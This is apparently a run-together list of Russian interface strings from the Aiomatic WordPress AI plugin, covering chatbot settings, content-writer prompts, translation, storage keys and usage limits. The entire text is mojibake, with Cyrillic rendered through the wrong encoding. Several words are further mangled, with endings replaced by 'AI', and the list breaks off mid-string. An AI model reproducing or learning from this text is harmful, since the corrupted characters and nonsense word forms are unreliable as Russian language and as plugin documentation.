чат-ботаДетали контекÑта чат-бота:КонтекÑÑ‚ чат-бота:РаÑширение Email Чат-бота:Функционал чат-ботаОбщие ÐаÑтройки Чат-бота:Глобальные ÐаÑтройки инъекцAI чат-бота:МеÑтонахождение чат-бота:Модель чат-бота:Значок Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ñ‡Ð°Ñ‚-бота:ÐаÑтройки Ð¿Ñ€Ð¾Ñ„Ð¸Ð»Ñ Ñ‡Ð°Ñ‚-бота:ЛичноÑÑ‚ÑŒ чат-бота:Предварительный проÑмотр чат-ботаШорткоды Чат-ботаПараметры Ð¡Ñ‚Ð¸Ð»Ñ Ð§Ð°Ñ‚-бота AI:Температура чат-бота:Чат-бот Преобразование текÑта в Речь/Видео Параметры:Управление темами чат-бота:Тема чат-бота:Обучающее видео по темам чат-ботов:Чат-бот Top_p:Ширина чат-бота:ОзнакомьтеÑÑŒ Ñ Ñтим подробным пошаговым руководÑтвом а также Ñ Ñтим обучающим видео, чтобы получить информацию о наÑтройке и иÑпользовании Microsoft Azure OpenAI API в Aiomatic.Проверьте OpenAIПоÑмотрите обучающие видео на вкладках выше!Отмечайте и проверÑйте добавленные вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¸ управлÑйте ими, чтобы убедитьÑÑ, что они верны.Проверка Ð½Ð°Ð»Ð¸Ñ‡Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ð¹Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ñ‹Ðµ наÑтройки, применимые к запуÑку правил, можно проверить в меню «ОÑновные наÑтройки» плагина, здеÑÑŒ.Проверьте неÑколько примеров файлов CSV, которые вы можете иÑпользовать:Проверьте Страницу СтатиÑтикиУÑтановите Ñтот флажок, еÑли указанный выше ключ API ÑвлÑетÑÑ ÐºÐ»ÑŽÑ‡Ð¾Ð¼ беÑплатного плана DeepL. ЕÑли Ñто ключ PRO, Ñнимите Ñтот флажок.Проверьте Ñту ÑÑылку Ð´Ð»Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹Ð£Ñтановите Ñтот флажок, чтобы позволить AI Создателю улучшить ключевые Ñлова видео на YouTube.УÑтановите Ñтот флажок, чтобы заÑтавить плагин Ñоздавать черновики ПоÑтов до того, как они будут полноÑтью опубликованы. Это может помочь вам иÑпользовать Ñторонние плагины Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки публикуемыми ПоÑтами.ЧекбокÑЧичеваЧичева (переводчик Google)КитайÑкийКитайÑкий упрощенныйУпрощенный китайÑкий (переводчик Google)КитайÑкий ТрадиционныйКитайÑкий традиционный (переводчик Google)Выберите из наиболее чаÑто иÑпользуемых иÑточников ПоÑтовВыберите, как чаÑто вы хотите автоматичеÑки проверÑÑ‚ÑŒ наличие Ñтарых ПоÑтов. Это изменит Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð»Ð°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ cron.Выберите, хотите ли вы автоматичеÑки очищать журналы через определенный промежуток времени.Выберите, хотите ли вы улучшить импорт изображений без лицензионных отчиÑлений, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñледующие уÑлуги. Они извлекут Ключевые Слова из иÑходного текÑта и обеÑпечат лучшее качеÑтво изображениÑ. ЕÑли вы выберете TextRazor, вам также потребуетÑÑ Ð²Ð²ÐµÑти ключ TextRazor API ниже. ЕÑли вы выберете OpenAI, вам также потребуетÑÑ Ð²Ð²ÐµÑти Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° извлечение ключевого Ñлова OpenAI ниже.Выберите, хотите ли вы обрабатывать введенные заголовки/темы в порÑдке их ввода, а не в Ñлучайном порÑдке.Выберите, хотите ли вы получать Ñводную информацию о правиле, запущенном в email.Выберите, хотите ли вы требовать только одно Ñлово из «СпиÑка ОбÑзательных Слов», чтобы ПоÑÑ‚ было принÑÑ‚.Выберите, хотите ли вы пропуÑтить проверку дубликатов Заголовоков ПоÑтов при публикации новых ПоÑтов. ЕÑли вы отметите Ñто, будут опубликованы повторÑющиеÑÑ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸ ПоÑтов! Так что иÑпользуйте его только тогда, когда Ñто необходимо.ОчиÑтить разговор в чатеОчиÑтить ДанныеОчиÑтить ÑпиÑок дейÑтвующих правилОчиÑтить аватарÐажмите здеÑÑŒ, чтобы получить ПлагинÐажмите на пузырь, чтобы Ñкопировать его контент!Ðажмите на вкладку Â«Ð¡Ñ‚Ð°Ñ‚ÑƒÑ OpenAI» в Разделе «Лимиты и ÑтатиÑтика». ЗдеÑÑŒ вы можете увидеть ПоÑÑ‚Ñ‹ об инцидентах Ñо Ñтороны OpenAI и их ÑÑ‚Ð°Ñ‚ÑƒÑ Ñлужбы API. Это может помочь вам уÑтранить любые проблемы Ñо Ñлужбами иÑкуÑÑтвенного интеллекта, предоÑтавлÑемыми Плагином. Помните, что Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ ÑтатиÑтика» — Ñто мощный инÑтрумент Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸ мониторинга иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° Aiomatic. ПонÑв, как иÑпользовать Ñту функцию, вы Ñможете обеÑпечить Ñффективное и ответÑтвенное иÑпользование ваших ÑервиÑов AI.Перейдите на вкладку «Графики ИÑпользованиÑ» в Разделе Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ ÑтатиÑтика». ЗдеÑÑŒ вы можете проÑмотреть графики, которые предÑтавлÑÑŽÑ‚ количеÑтво вызовов, количеÑтво иÑпользованных токенов, ÑтоимоÑÑ‚ÑŒ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ количеÑтво Ñгенерированных изображений AI. Эти графики обеÑпечивают визуальное предÑтавление иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡Ð°ÐµÐ¼Ð¾Ð³Ð¾ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ñ Ñ‚ÐµÑ‡ÐµÐ½Ð¸ÐµÐ¼ времени, Ð¿Ð¾Ð¼Ð¾Ð³Ð°Ñ Ð²Ð°Ð¼ понÑÑ‚ÑŒ тенденцAI и модели иÑпользованиÑ.Перейдите на вкладку Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð˜ÑпользованиÑ» в Разделе Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ СтатиÑтика». ЗдеÑÑŒ вы можете уÑтановить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование как Ð´Ð»Ñ Ð²Ð¾ÑˆÐµÐ´ÑˆÐ¸Ñ…, так и Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей. Ð’Ñ‹ можете уÑтановить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¾ÐºÐµÐ½Ð°, иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ†ÐµÐ½Ñ‹ или иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтва вызовов. Ð’Ñ‹ также можете Ñоздать правила Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ÑпользованиÑ. Ðапример, вы можете ограничить количеÑтво запроÑов, которые пользователь может Ñделать за определенный период времени. Плагин Aiomatic можно интегрировать Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼ Ultimate Membership Pro. Это позволÑет вам уÑтанавливать разные Ñуммы иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑƒÑ‡Ð°Ñтников, приÑоединившихÑÑ Ðº разным планам членÑтва. Ð’Ñ‹ также можете ограничить иÑпользование в завиÑимоÑти от роли пользователÑ. Ðапример, вы можете разрешить админиÑтраторам делать больше запроÑов, чем обычным пользователÑм.Ðажмите на вкладку «Журналы ИÑпользованиÑ». ЗдеÑÑŒ вы увидите таблицу Ñо Ñледующими Ñтолбцами:Ðажмите на перÑонажа, которого вы хотите иÑпользовать в Ñвоем чат-боте, и он будет выбран, а его Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ автоматичеÑки заполнены в полÑÑ… наÑтроек Ñверху. Ð’Ñе, что вам нужно Ñделать поÑле Ñтого, — Ñто Ñохранить наÑтройки, и к чат-боту будет применена перÑона чат-бота!Ðажмите Ñту кнопку, чтобы начать обработку и Ñоздать контент и заголовок поÑта.Ðажмите Ñту опцию, чтобы включить интеграцию Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼ «Избранное изображение из URL» — https://wordpress.org/plugins/featured-image-from-url/ (вам необходимо уÑтановить и активировать Ñтот плагин). Это не будет копировать избранные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñозданных поÑтов локально, а ÑвÑжет их непоÑредÑтвенно Ñ Ð¸Ñточником.ПредуÑтановка ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ»Ð¸Ð¿Ð¾Ð¼:Закрыть панельОблачное хранилищеКлюч API CloudFlare R2:Секрет API CloudFlare R2:Идентификатор учетной запиÑи CloudFlare R2:Ð˜Ð¼Ñ Ñегмента CloudFlare R2:Каталог CloudFlare R2:ÐаÑтройки CloudFlare R2:Интерпретатор кодаCode Interpreter позволÑет аÑÑиÑтенту пиÑать и запуÑкать код. Этот инÑтрумент может обрабатывать файлы Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ð¼Ð¸ данными и форматированием, а также Ñоздавать файлы, такие как графики.CodeRevolutionСтолбцыРазделенный запÑтыми ÑпиÑок идентификаторов поÑтов Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ.Ð’Ñего КомментариевСпиÑок E-mail Ð´Ð»Ñ ÐšÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ²:Ответчик Комментариев :СпиÑок URL комментариев:СпиÑок имен пользователей комментариев:Промпт Сравнительной ТаблицыПромпт Сравнительной Таблицы:ЗавершеноЗавершенные преобразованиÑЗавершеноКомпьютерÐаÑтройте дополнительные параметры Ð´Ð»Ñ Ñтого правила.ÐаÑтраивает OmniBlocks Ð´Ð»Ñ Ñтого правила.Смущены правилом иконки ÑоÑтоÑниÑ?КонтентРедактирование КонтентаМеханизм Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ Контента:Язык КонтентаЯзык Контента:Параметры КонтентаПромпт КонтентаПромпт Генератора Контента:Шаблон контентаТип контентаМаÑтер контентаШтраф за чаÑтоту иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¼Ð°Ñтера контента:Общие наÑтройки маÑтера контента:Модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐœÐ°Ñтера Контента:ÐаÑтройки Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐœÐ°Ñтера Контента:Размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐœÐ°Ñтера Контента:Модель МаÑтера Контента:Штраф за приÑутÑтвие МаÑтера Контента:Промпты МаÑтера Контента:Размещение результатов маÑтера контента:Температура маÑтера контента:ÐаÑтройки Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑта маÑтера контента:МаÑтер контента Top_p:Обучающее видео по маÑтеру контента:МаÑтер контента:Контент и названиеРазделитель контентаОграничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»ÐµÐ¹ Claude 200k:Ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»ÐµÐ¹ Claude:Ограничение контекÑтного окна Ð´Ð»Ñ gpt-3.5-turbo-1106:Ограничение контекÑтного окна Ð´Ð»Ñ gpt-4-1106:Продолжайте Ñоздавать ПоÑÑ‚Ñ‹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AIКонвертироватьПреобразование Markdown в HTML в Контенте ПоÑта, Ñгенерированном AI:Преобразование Ðовых Строк в разрывы Ñтрок (br) в Контенте ПоÑта, Ñозданном AI:Копирование аудио/видео файлов:Скопируйте метаопиÑание из отрывка поÑта вмеÑто его ÑозданиÑ:Скопируйте роÑлти-фри/AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· контента поÑта:Копировать текÑтСкопируйте ОпиÑание ТакÑономииКорÑиканÑкийКорÑиканец (переводчик Google)Создайте заманчивое и краткое мета-опиÑание на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %s: «%s». Подчеркните заметные оÑобенноÑти и преимущеÑтва вÑего в 155 Ñимволах, включив ÑоответÑтвующие ключевые Ñлова Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ ÑффективноÑти SEO.Создать Тонкую ÐаÑтройкуСоздайте увлекательное и подробное опиÑание на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %s: «%s». ПогрузитеÑÑŒ в конкретные детали, выделив Ñвои уникальные оÑобенноÑти данного предмета, по возможноÑти преимущеÑтва и ценноÑÑ‚ÑŒ, которую он неÑет. Создайте захватывающее повеÑтвование вокруг %s, которое увлечет аудиторию. ИÑпользуйте HTML Ð´Ð»Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ, включайте ненумерованные ÑпиÑки и жирный шрифт. Стиль напиÑаниÑ: Creative. Тон: Neutral.Создайте привлекательный и краткий SEO-заголовок на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %s: «%s». ПовыÑьте видимоÑÑ‚ÑŒ в поиÑковых ÑиÑтемах Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ релевантных ключевых Ñлов Ð´Ð»Ñ Ð¼Ð°ÐºÑимального Ñффекта.Создан вСоздано:Минимальное количеÑтво Ñимволов в Ñоздаваемом Контенте:Созданные Ñтим OmniBlock шорткоды (можно иÑпользовать в OmniBlocks ниже):Тип КредитаКритичеÑкийхорватÑкийХорватÑкий (переводчик Google)Текущее Ð²Ñ€ÐµÐ¼Ñ Ñервера:Ð¢ÐµÐºÑƒÑ‰Ð°Ñ Ð¼Ð¸Ð½Ð¸Ð°Ñ‚ÑŽÑ€Ð°Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð´Ð»Ñ TTS поддерживаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ OpenAI API.Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÑŽÑ‚ÑÑ Ð¼Ð¾Ð´ÐµÐ»Ð¸ Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Шорткодах:Ð’ наÑтоÑщее времÑ, поÑкольку редактор AI находитÑÑ Ð² Ñтади бета-теÑтированиÑ, у него могут возникнуть трудноÑти Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸ÐµÐ¼ более длинных текÑтов. ЕÑли вы ÑтолкнулиÑÑŒ Ñ Ñтой проблемой, вы можете ограничить размер фрагмента, отправлÑемого в редактор AI (в Ñимволах). ОÑтавьте Ñто поле пуÑтым, еÑли редактирование работает в вашем Ñлучае.Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·-за проблемы Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð¾Ð¼ AI иногда он может удалÑÑ‚ÑŒ чаÑти Ñодержимого HTML, которое вы отправлÑете ему Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ. Плагин Aiomatic может проверить, проиÑходит ли Ñто, и не менÑÑ‚ÑŒ поÑÑ‚ в Ñтих ÑлучаÑÑ…. ЕÑли вы уÑтановите Ñтот флажок, отредактированный Контент будет опубликован, даже еÑли в нем отÑутÑтвуют некоторые теги HTML. Ð’Ñ‹ хотите опубликовать отредактированный Контент, даже еÑли редактор AI удалил чаÑÑ‚ÑŒ или веÑÑŒ HTML-Контент из текÑта?Создатель пользовательÑкого Шорткода Контента, Ñгенерированного AI. ЕÑли вы хотите Ñоздать Контент из неÑкольких Промптов AI и иÑпользовать их в публикации Контента/публикации наÑтраиваемых полей/такÑономий, вы можете наÑтроить Ñто здеÑÑŒ. Кроме того, Ñти Шорткоды можно будет иÑпользовать в наÑтраиваемых полÑÑ… или наÑтраиваемых такÑономиÑÑ…, которые ÑоздаÑÑ‚ Плагин. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого полÑ: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (чтобы указать неÑколько коротких кодов и значений ÑканированиÑ, Разделите их новой Ñтрокой. Пример: my_custom_shortcode => gpt-3.5-turbo-instruct @@ Ðапишите короткое Ñтихотворение. ПоÑле Ñтого вы можете иÑпользовать Шорткоды в любом поле ÐаÑтроек, которое поддерживает Шорткоды (например, поле ÐаÑтроек «ТекÑÑ‚ HTML Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AI»), например: %%my_custom_shortcode%%. Официальный формат: %%name_of_custom_shortcode%%ПользовательÑкий КонÑтруктор Чат-ботовÐаÑтраиваемые полÑПользовательÑкий HTMLПользовательÑкий HTML # 1ПользовательÑкий HTML # 2ПользовательÑкий HTML-код â„– 1:ПользовательÑкий HTML-код â„– 2:ПользовательÑкий HTML-код / ​​рекламный код:ПользовательÑкое Ð˜Ð¼Ñ ÐœÐ¾Ð´ÐµÐ»Ð¸ÐŸÐ¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкое имÑСоздатель пользовательÑких Шорткодов (необÑзательно)Создатель пользовательÑких Шорткодов (необÑзательно):ПользовательÑкие такÑономииПользовательÑкое поле удалено.ПользовательÑкое поле обновлено.чешÑкий ÑзыкЧешÑкий (переводчик Google)D-IDD-ID API:Обновление потокового видео D-ID:Генератор изображений DALL-E 2Генератор изображений DALL-E 3DDIMDDPMDOMДокументDOMDocument требуетÑÑ Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¾Ð¹ работы подключаемого Ð¼Ð¾Ð´ÑƒÐ»Ñ Fusion Builder.DOMДокумент:Суточное количеÑтво токенов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи превышено! ПожалуйÑта, повторите попытку завтра.Превышен Ñуточный Ð·Ð°Ð¿Ð°Ñ Ñ‚Ð¾ÐºÐµÐ½Ð¾Ð² Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи! ПожалуйÑта, повторите попытку завтра.Суточный лимит токенов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи превышен! ПожалуйÑта, повторите попытку завтра.Dall-E 2Dall-E 3Dall-E 3 HDСтиль Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Dall-E 3:ÐаÑтройки генератора изображений Dall-E AI:Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Dall-E AIDall-E Изображение ДатÑкийДатÑкий (переводчик Google)Преобразователь ДанныхÐабор данных (*.csv)Ðабор данных (*.jsonl)По датеДата опубликовано ВоÑходÑщийДата публикации ÐŸÐ¾Ñ‚Ð¾Ð¼Ð¾ÐºÐ’Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ Ð´Ð°Ñ‚Ð° воÑходÑщаÑДата взÑта потомокГ-м-д H:i:sДеньДневной запроÑ:Дни, когда вÑегда показывать чат-бота:Дни, когда никогда не Ñледует показывать чат-бота:API-Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ñ‡Ð¸ÐºÐ° DeepL:Ключ аутентификации переводчика DeepL (необÑзательно)ТекÑÑ‚ по умолчаниюПараметры API по Умолчанию:Режим чата по умолчанию:ИÑпользуемый API Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾ умолчанию:СпиÑок избранных изображений по умолчаниюСпиÑок избранных изображений по умолчанию:ÐžÐ¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… изображений по умолчанию:Шаблон по умолчаниюОпределите ÑÑылку, по которой вы хотите, чтобы поÑвилоÑÑŒ определенное ключевое Ñлово. ОÑтавьте Ñто поле пуÑтым, еÑли вы хотите заменить указанное ключевое Ñлово, не ÑÑылаÑÑÑŒ на него.ОпределÑет макÑимальную длину переменной, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ€ÐµÐ³Ð¸ÑтрируетÑÑ Ñ‡ÐµÑ€ÐµÐ· Ð·Ð°Ð¿Ñ€Ð¾Ñ POST.DelЗадержка Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтатьи (в Ñекундах):УдалитьУдалить вÑе разговорыУдалить Ð’Ñе Ð’ÑтраиваниÑУдалить Ð’Ñе ФормыУдалить вÑе Ñозданные ПоÑтыУдалить вÑе перÑонажиУдалить вÑе ПоÑÑ‚Ñ‹, Ñозданные Ñтим ПлагиномУдалить вÑе правила из вÑего раздела:Удалить ÑущеÑтвующую тему:Удалить логиУдалить выбранных аÑÑиÑтентовУдалить Выбранные Ð’ÑтраиваниÑУдалить Выбранные ФормыУдалить выбранные файлы OmniBlockУдаление выбранных шаблонов OmniBlockУдалить выбранные перÑонажиУдалить выбранную темуУдалите ÑущеÑтвующую тему из ÑпиÑка тем.Удалить Ñто поле?Ð’ завиÑимоÑти от того, какую функцию вы ищете, обÑзательно перейдите в ÑоответÑтвующее меню Плагина Aiomatic, где вы найдете вкладку «Учебник» Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ из функций, доÑтупных в Плагине. Там вы также найдете обучающее видео Ñ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ñ‹Ð¼ опиÑанием функции, которую вы наÑтраиваете.ПотомокОпиÑаниеОпиÑание ТекÑÑ‚ÐŸÐ¾Ð´Ñ€Ð¾Ð±Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ ÑиÑтеме:Учебные поÑÐ¾Ð±Ð¸Ñ Ð¿Ð¾ инÑтрументам разработчикаУчебные поÑÐ¾Ð±Ð¸Ñ Ð¿Ð¾ инÑтрументам разработчика:МальдивÑкий (Дивехи)Дивехи (Переводчик Google)Digital Ocean Spaces API Key:Digital Ocean Spaces API Secret:Каталог Digital Ocean SpacesИÑÑ…Ð¾Ð´Ð½Ð°Ñ ÐºÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ‚Ð¾Ñ‡ÐºÐ° Digital Ocean Spaces:ÐаÑтройки Digital Ocean Spaces:Отключите иÑпользование AI СоздателÑ, чтобы получить больше Заголовков:Отключите автоматичеÑкое Ñжатие изображений Ð´Ð»Ñ Ñкопированных изображений:Отключите парÑинг поиÑка Bing, чтобы получить больше Заголовоков:Отключить редактирование «ПользовательÑких Типов запиÑей»:Отключить редактирование «Ñтраниц»:Отключить редактирование «ПоÑтов»:Отключите редактирование контента, длиннее Ñтого количеÑтва Ñимволов:Отключить редактирование выбранных категорий:Отключить ÐвтопоÑтинг из Выбранных тегов:Отключить ФункцииОтключить РаÑширение Медиатеки:Отключить отправку пуÑÑ‚Ñ‹Ñ… Ñообщений чата:ОтключённыйОтображаетÑÑ Ð½Ð° прикрепленных Ñтраницах .Отображает, находитÑÑ Ð»Ð¸ WordPress в режиме отладки.Сделайте также второй переводСделайте также второй перевод:Ðе добавлÑÑ‚ÑŒ ÐеÑущеÑтвующие КатегорииÐе добавлÑÑ‚ÑŒ ÐеÑущеÑтвующие Категории:Ðе добавлÑÑ‚ÑŒ неÑущеÑтвующие Теги:Ðе добавлÑÑ‚ÑŒ категориюÐе проверÑÑ‚ÑŒ ПовторÑющиеÑÑ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸:Ðе рандомизировать порÑдок результатов Изображений Royalty Free:Ðе изменÑйте порÑдок ИÑточника Без Лицензионных ОтчиÑлений Ñлучайным образом, а иÑпользуйте указанный ниже порÑдок:Ðе применÑйте Ñто правило в Ñледующие дни неделиÐе применÑйте Ñто правило в Ñледующие дни недели:Ðе ИÑкать по Фото ЛицензииÐе крутите ПоÑÑ‚Ñ‹, Ñозданные Ñтим правиломÐе раÑкручивайте ПоÑÑ‚Ñ‹, Ñозданные Ñтим правилом:Ðе вращайте Заголовок, только Контент:Ðе переводить ПоÑÑ‚Ñ‹, Ñозданные по Ñтому правилуÐе переводить ПоÑÑ‚Ñ‹, Ñозданные по Ñтому правилу:Вам нравитÑÑ Ð½Ð°Ñˆ Плагин? ПожалуйÑта, дайте ему рейтинг на CodeCanyon или проверьте наш Ñайт Ð´Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… интереÑных Плагинов.Ð’Ñ‹ хотите задержать автоматичеÑкое редактирование опубликованной Ñтатьи на Ñто количеÑтво Ñекунд поÑле публикации? Это ÑоздаÑÑ‚ одно задание cron Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ ПоÑта (Ð´Ð»Ñ ÐµÐ³Ð¾ работы требуетÑÑ cron). ЕÑли вы оÑтавите Ñто поле пуÑтым, ПоÑÑ‚Ñ‹ будут автоматичеÑки добавлÑÑ‚ÑŒÑÑ Ð¿Ñ€Ð¸ публикации ПоÑÑ‚Ñ‹.Хотите добавить атрибут nofollow к внешним ÑÑылкам, введенным вручную?Хотите автоматичеÑки добавлÑÑ‚ÑŒ категорAI ПоÑтов из Ñлементов ленты?Ð’Ñ‹ хотите автоматичеÑки добавлÑÑ‚ÑŒ категорAI ПоÑтов из Ñгенерированных Ñлементов?Хотите автоматичеÑки добавлÑÑ‚ÑŒ теги запиÑей из Ñлементов ленты?Ð’Ñ‹ хотите автоматичеÑки добавлÑÑ‚ÑŒ теги ПоÑтов из Ñгенерированных Ñлементов?Хотите ли вы автоматичеÑки перевеÑти Ñгенерированный контент во второй раз на Ñтот поÑледний Ñзык? Ð’ некоторых ÑлучаÑÑ… Ñто может заменить вращение Ñлов из Ñкрапленного контента. Обратите внимание, что Ñто может увеличить количеÑтво запроÑов к API перевода. Это поле не имеет никакого Ñффекта, еÑли вы не уÑтановили также первый Ñзык перевода в поле наÑтроек Ñверху.Хотите автоматичеÑки переводить Ñозданный контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Google Translate/Microsoft Translator/DeepL на любой Ñзык?Ð’Ñ‹ хотите автоматичеÑки переводить Ñгенерированный Контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Google Translate?Хотите Ñкопировать изображениÑ, не требующие лицензионных отчиÑлений, или изображениÑ, Ñозданные иÑкуÑÑтвенным интеллектом, из контента поÑтов из их иÑходного меÑÑ‚Ð¾Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð½Ð° локальном/удаленном Ñервере?Ð’Ñ‹ хотите удалить Ñто правило?Ð’Ñ‹ хотите 